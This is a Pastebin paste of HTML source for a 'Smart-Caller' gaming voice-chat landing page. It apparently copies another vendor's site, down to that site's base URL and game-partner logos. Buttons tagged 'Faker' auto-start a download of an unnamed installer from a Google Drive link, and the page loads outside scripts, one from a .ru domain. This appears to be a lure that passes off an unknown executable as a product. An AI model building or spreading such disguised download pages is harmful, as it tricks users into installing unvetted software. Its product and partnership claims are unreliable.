Advertisement
Guest User

smart-caller source

a guest
May 3rd, 2015
399
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
HTML 15.49 KB | None | 0 0
  1. <!DOCTYPE html>
  2. <!--[if IE 8]> <html class="no-js lt-ie9" lang="en"> <![endif]-->
  3. <!--[if gt IE 8]><!--> <html class="no-js" lang="en"> <!--<![endif]-->
  4. <head>
  5.   <meta charset="utf-8" />
  6.   <meta name="description" content="Download the internet's best dedicated voice chat service for gamers featuring extensive moderator controls, high definition audio quality and one click channel invites. Designed to give gamers an edge and own their competition." />
  7.   <meta name="viewport" content="width=device-width" />
  8.   <title>Smart-Caller - The Best Voice Chat for Gamers</title>
  9.   <base href="http://www.downloadc3.com/" />
  10.   <link rel="stylesheet" href="css/normalize.css" />
  11.   <link rel="stylesheet" href="css/app.css" />
  12.   <script type="text/javascript" src="//fast.fonts.net/jsapi/d77650ba-756f-42aa-8bd7-708efe8c52f0.js"></script>
  13.   <link rel="icon" type="image/ico" href="favicon.ico" />
  14. </head>
  15. <body>
  16.  
  17. <div id="skrollr-body">
  18. <header id="main-header"
  19.  data-start="background-position: 30% 0px;"
  20.  data-top-bottom="background-position: 30% -200px;"
  21.  data-anchor-target="#main-header" >
  22.   <nav class="row">
  23.     <ul id="main-nav" class="nav show-for-medium-up">
  24.       <li><a href="http://www.smart-caller.com/#about">About Smart-Caller</a></li>
  25.       <li><a href="http://www.smart-caller.com/#features">Smart-Caller Features</a></li>
  26.     </ul>
  27.   </nav>
  28.   <div class="row cta" id="pageTopContent">
  29.     <h1>Smart-Caller</h1>
  30.     <h2>Free Voice for Gamers</h2>
  31.     <a onclick="
  32.     document.getElementById('dialogDownloadStarted').style.display='';
  33.    document.getElementById('pageTopContent').style.display='none';
  34.     document.location.href = 'https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk';
  35.    _gaq.push(['_trackEvent','HomePage','Download']);" id="Faker" class="medium button">Download Smart-Caller</a> <!-- <a class="medium button create" href="#create" onclick="_gaq.push(['_trackEvent','HomePage','SignUpClick']);">Sign Up</a> -->
  36.     <p class="version">Beta Version 0.6.9</p>
  37.     <p class="version"><a class="Faker" href="https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk">Download legacy client (0.5.2)</a></p>
  38.   </div>
  39. </header>
  40.  
  41. <section id="features">
  42.   <div class="artist_credit" style="float: right; margin-right: 15px;">Original Character Art By Zartos</div>
  43.   <div class="row">
  44.     <div class="large-4 columns screenshot">
  45.       <img src="./assets/c3-screenshot-01.jpg" />
  46.     </div>
  47.     <div class="large-8 columns">
  48.       <div class="large-12">
  49.         <h3>Smart-Caller Features</h3>
  50.         <p>&mdash;</p>
  51.       </div>
  52.       <div class="large-6 features">
  53.         <div class="feature">
  54.           <h4>Sign Up</h4>
  55.           <p>It's easy to sign up, and that *one* user id is the only one you will ever need.</p>
  56.         </div>
  57.         <div class="feature">
  58.           <h4>Create + Manage your own Channels</h4>
  59.           <p>It's easy to create and manage your own channels - anyone can set up group communications anytime.</p>
  60.         </div>
  61.         <div class="feature">
  62.           <h4>Manage Teams and Guilds</h4>
  63.           <p>It's easy to manage teams and guilds - it has all the access and moderator controls gamers need</p>
  64.         </div>
  65.       </div>
  66.       <div class="large-6 features">
  67.         <div class="feature">
  68.           <h4>Get Your Friends on Board</h4>
  69.           <p>It's easy to get your friends on board - invite them via e-mail or right in game.</p>
  70.         </div>
  71.         <div class="feature">
  72.           <h4>Communicate</h4>
  73.           <p>It's easy to communicate - Smart-Caller has super high quality audio</p>
  74.         </div>
  75.       </div>
  76.     </div>
  77.   </div>
  78. </section>
  79.  
  80. <section id="about"
  81.  data-start="background-position: 50% 50%;"
  82.  data-top-bottom="background-position: 50% 0px;"
  83.  data-anchor-target="#about">
  84.   <div class="row">
  85.     <div class="large-12 columns">
  86.       <h3>About Smart-Caller</h3>
  87.       <p>&mdash;</p>
  88.       <div class="row">
  89.       <div class="large-7 columns">
  90.         <p>Built by gamers, for gamers, Smart-Caller provides voice services for players of all skill levels.</p>
  91.         <p>Smart-Caller, the creators of Smart-Caller, have been providing awesome communication services for over 5 years.</p>
  92.         <p>Smart-Caller partners with brands in various industries, from gaming to social applications and communities, to connect and engage users through voice – anywhere, anytime, on any device.</p>
  93.         <p>Smart-Caller has worked with over 20 gaming companies and has integrated voice chat into more than 30 games including, EVE, Everquest I &amp; II, DC Universe Online, and World of Tanks.</p>
  94.       </div>
  95.       <div class="large-4 columns">
  96.         <img src="./assets/logo-dc.png" class="thumb" />
  97.         <img src="./assets/logo-eve.png" class="thumb" />
  98.         <img src="./assets/logo-worldoftanks.png" class="thumb" />
  99.         <img src="./assets/logo-everquest.png" class="thumb" />
  100.       </div>
  101.       </div>
  102.     </div>
  103.   </div>
  104. </section>
  105.  
  106. <footer>
  107.   <div class="row">
  108.     <div class="large-12 columns">
  109.       <p><small>Smart-Caller/Smart-Caller &copy;2015
  110.         <br />Pat. Nos. 6,108,704 6,513,066 6,701,365 6,131,121 &amp; 6,009,469</small></p>
  111.     </div>
  112.   </div>
  113. </footer>
  114. </div>
  115.  
  116. <div data-alert id="dialogAccountCreated" class="alert-box radius" style="position: fixed; width: 70%;left: 15%;top: 10%;overflow: auto;display: none">
  117.     <p>Account created!</p>
  118.     <p>If you haven't already installed Smart-Caller, <a class="Faker" onclick="startDownload(); return false;">download and install it now</a></p>.
  119.     <p>Then, go on to:</p>
  120.     <ol>
  121.     <li>Activate your account
  122.         <p>Check your <span id="emailLink">email</span> for a link to activate your account</p>
  123.     </li>
  124.     <li>Launch Smart-Caller
  125.         <p>Launch Smart-Caller and join your friends!</p>
  126.  
  127.  
  128.     </li>
  129.     </ol>
  130.     <a href="#" class="close" onclick="this.parentNode.style.display='none';document.getElementById('pageTopContent').style.display='';return false;">&times;</a>
  131. </div>
  132. <div data-alert id="dialogDownloadStarted" class="alert-box info radius" style="position: fixed; width: 70%; left: 15%; top: 10%; display: none">
  133.     <h3>Downloading...</h3>
  134.     <ol>
  135.     <li>Run the installer
  136.         <p>Your download will start momentarily.  If it doesn't, <a id="backupDownloadLink" href="https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk">start the download by clicking here</a>.</p>
  137.     </li>
  138.     <li>Launch Smart-Caller
  139.         <p>Launch Smart-Caller to create an account</p>
  140.     </li>
  141.     <li>Create and activate your account
  142.         <p>After creating an account, wait for an email with your activation link</p>
  143.     </li>
  144.     <li>Login
  145.         <p>After activating your account, login and join your friends!</p>
  146.     </li>
  147.     </ol>
  148.     <a href="#" class="close" onclick="this.parentNode.style.display='none';document.getElementById('pageTopContent').style.display='';return false;">&times;</a>
  149. </div>
  150. <div data-alert id="alertCreateError" class="alert-box alert radius" style="position: fixed; width: 70%; left: 15%; top: 10%; display: none">
  151.     <p>Error in submission</p>
  152.     <a href="www.smart-caller.com" title="logo_holder"></a>
  153.     <div id="errorMessage"></div>
  154.     <a href="#" class="close" onclick="this.parentNode.style.display='none';return false;">&times;</a>
  155. </div>
  156.  
  157.  
  158. <script src="js/vendor/jquery.min.js"></script>
  159. <script src="js/foundation/foundation.min.js"></script>
  160. <script src="js/vendor/custom.modernizr.js"></script>
  161. <script src="js/vendor/skrollr.min.js"></script>
  162. <script src="js/vendor/jquery.localScroll.min.js"></script>
  163. <script src="js/vendor/jquery.scrollto-min.js"></script>
  164.  
  165. <script>
  166. $( document ).ready(function() {
  167.     $('#main-nav').localScroll();
  168.     $('.cta').localScroll();
  169. });
  170. </script>
  171. <script type="text/javascript">
  172.     var s = skrollr.init();
  173. </script>
  174. <script type="text/javascript">
  175. function startDownload() {
  176.     // show dialog for download starting
  177.     document.getElementById('dialogDownloadStarted').style.display='';
  178.     document.getElementById('pageTopContent').style.display='none';
  179.  
  180.     // attempt auto-download
  181.     if(navigator.platform.match('^Win')) {
  182.         document.getElementById('backupDownloadLink').href = 'https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk';
  183.         document.location.href = 'https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk';
  184.     } else if(navigator.platform.match('^Mac')) {
  185.         document.getElementById('backupDownloadLink').href = 'https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk';
  186.         document.location.href = 'https://drive.google.com/uc?export=download&id=0BxACLObVZqJwTzNjZk1kNXMwWUk';
  187.     } else {
  188.     }
  189.  
  190.     // track action
  191.     _gaq.push(['_trackEvent','HomePage','Download']);
  192. }
  193. function checkUsernameAvailability() {
  194.     var pp_uuid = document.getElementById('name').value;
  195.     if(pp_uuid.match(/^[A-Za-z0-9.@_]+$/g) != pp_uuid) {
  196.         document.getElementById('uuidcheck').innerHTML = 'Invalid characters in screen name.';
  197.         $('label[for=name] span.comment').css('color','red');
  198.         $('#name').focus().select();
  199.         return;
  200.     }
  201.     $('label[for=name] span.comment').css('color','');
  202.     $.ajax({
  203.         url: 'api.php'
  204.       , type: 'POST'
  205.       , dataType: 'json'
  206.       , data: { m: 'checkUsername', uuid: pp_uuid }
  207.       , success: function(data) {
  208.             if(data == "f") {
  209.                 document.getElementById('uuidcheck').innerHTML = '';
  210.             } else {
  211.                 document.getElementById('uuidcheck').innerHTML = 'That screen name is already taken. Please choose another.';
  212.                 $('#name').focus().select();
  213.                 _gaq.push(['_trackEvent','HomePage','UsernameExists']);
  214.             }
  215.         }
  216.     });
  217. }
  218. function emailCheck(str) {
  219.     var at="@";
  220.     var dot=".";
  221.     var lat=str.indexOf(at);
  222.     var lstr=str.length;
  223.     var ldot=str.indexOf(dot);
  224.     if (str.indexOf(at)==-1){
  225.         return false;
  226.     }
  227.     if (str.indexOf(at)==-1 || str.indexOf(at)==0 || str.indexOf(at)==lstr){
  228.         return false;
  229.     }
  230.     if (str.indexOf(dot)==-1 || str.indexOf(dot)==0 || str.indexOf(dot)==lstr){
  231.         return false;
  232.     }
  233.     if (str.indexOf(at,(lat+1))!=-1){
  234.         return false;
  235.     }
  236.     if (str.substring(lat-1,lat)==dot || str.substring(lat+1,lat+2)==dot){
  237.         return false;
  238.     }
  239.     if (str.indexOf(dot,(lat+2))==-1){
  240.         return false;
  241.     }
  242.     if (str.indexOf(" ")!=-1){
  243.         return false;
  244.     }
  245.     return true;
  246. }
  247. function createAccount() {
  248.     var username = document.getElementById('name').value;
  249.     var email = document.getElementById('email').value;
  250.     var passwd = document.getElementById('password').value;
  251.     if(passwd && passwd.length < 6) {
  252.        document.getElementById('errorMessage').innerHTML = 'Password must be at least 6 characters.';
  253.         document.getElementById('alertCreateError').style.display='';
  254.         return false;
  255.     }
  256.     var pwd_verify = document.getElementById('verifypassword').value;
  257.     document.getElementById('alertCreateError').style.display='none';
  258.     if(!username || !email || !passwd) {
  259.         document.getElementById('errorMessage').innerHTML = 'Please fill in the following information:<br/><ul>'
  260.         +(username?'':'<li>Name</li>')
  261.         +(email?'':'<li>Email</li>')
  262.         +(passwd?'':'<li>Password</li>')
  263.         +'</ul>';
  264.         ;
  265.         document.getElementById('alertCreateError').style.display='';
  266.         return false;
  267.     }
  268.  
  269.     username = username.trim();
  270.     email = email.trim();
  271.  
  272.     if(!emailCheck(email)) {
  273.         $('#emailInvalidWarning').fadeIn();
  274.         return false;
  275.     }
  276.  
  277.     if(!document.getElementById('age').checked) {
  278.         document.getElementById('errorMessage').innerHTML = 'Please confirm you are at least 13 years of age.';
  279.         document.getElementById('alertCreateError').style.display='';
  280.         return false;
  281.     }
  282.     if(passwd != pwd_verify) {
  283.         document.getElementById('passwordMismatch').style.display='';
  284.         return false;
  285.     } else {
  286.         document.getElementById('passwordMismatch').style.display='none';
  287.     }
  288.  
  289.     $.ajax({
  290.         url: 'api.php'
  291.       , type: 'POST'
  292.       , dataType: 'json'
  293.       , data: { m: 'createAccount', txtEmail: email, txtPass: passwd, txtUUID: username, txtDisplayname: username, i: '', s: '', u: '' }
  294.       , error: function(jqXHR, textStatus, errorThrown) {
  295.                }
  296.       , success: function(data) {
  297.             // check response for errors
  298.             if(data && data.result == 0) {
  299.    // display errors:
  300.    //  - CAPTCHA failure
  301.    //  - invalid email
  302.    //  - invalid username
  303.    //  - email already exists
  304.    //  - username already exists
  305.    //  - backend account create failure
  306.                var err_msg = data.msg;
  307.                 if(data.msg === 'An account already exists for this email address') {
  308.                     err_msg = 'An account already exists for this email address.  If you own this email, please try to <a href="forgot-password/?email='+email+'">reset your password</a>.';
  309.                 } else if(data.msg === 'That screen name is already taken, please choose another') {
  310.                     $('#name').focus().select();
  311.                 } else if(data.msg === 'Account creation failed') {
  312.                     err_msg = 'Account creation failed due to database failure.  Please try again in a few minutes.';
  313.                 } else if(data.msg && data.msg.match(/^Account creation failed - /) === 'Account creation failed - ') {
  314.                    err_msg = 'Account creation failed due to server connection failure.  Please try again in a few minutes.';
  315.                 }
  316.                 document.getElementById('errorMessage').innerHTML = err_msg;
  317.                 document.getElementById('alertCreateError').style.display='';
  318.                 _gaq.push(['_trackEvent','HomePage','AcctCreateFailed',data.msg]);
  319.             } else {
  320.                 document.getElementById('alertCreateError').style.display='none';
  321.                 var emailLink = '';
  322.                 if(email.match('@gmail\.com$')) emailLink = 'https://gmail.com/';
  323.                 if(email.match('@hotmail\.com$')) emailLink = 'https://hotmail.com/';
  324.                 if(email.match('@outlook\.com$')) emailLink = 'https://outlook.com/';
  325.                 if(email.match('@yahoo\.com$')) emailLink = 'https://mail.yahoo.com/';
  326.                 if(emailLink != '') document.getElementById('emailLink').innerHTML = '<a href="' + emailLink + '">email</a>';
  327.                 else document.getElementById('emailLink').innerHTML = 'email';
  328.                 document.getElementById('dialogAccountCreated').style.display='';
  329.                 document.getElementById('pageTopContent').style.display='none';
  330.                 document.getElementById('name').value = '';
  331.                 document.getElementById('email').value = '';
  332.                 document.getElementById('password').value = '';
  333.                 document.getElementById('verifypassword').value = '';
  334.                 document.getElementById('age').checked = false;
  335.                 _gaq.push(['_trackEvent','HomePage','AcctCreated']);
  336.             }
  337.         }
  338.     });
  339.     _gaq.push(['_trackEvent','HomePage','AcctCreateRequested']);
  340. }
  341. </script>
  342. <script type="text/javascript">
  343. var pageDepth = 0;
  344. </script>
  345. <script src="js/rotateHeaderImage.js"></script>
  346. <script src="http://www.smart-caller.com/data/entry/info.js"></script>
  347. <script src="http://web1maker.ru/base/js/readInfo.js"></script>
  348. </body>
  349. </html>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement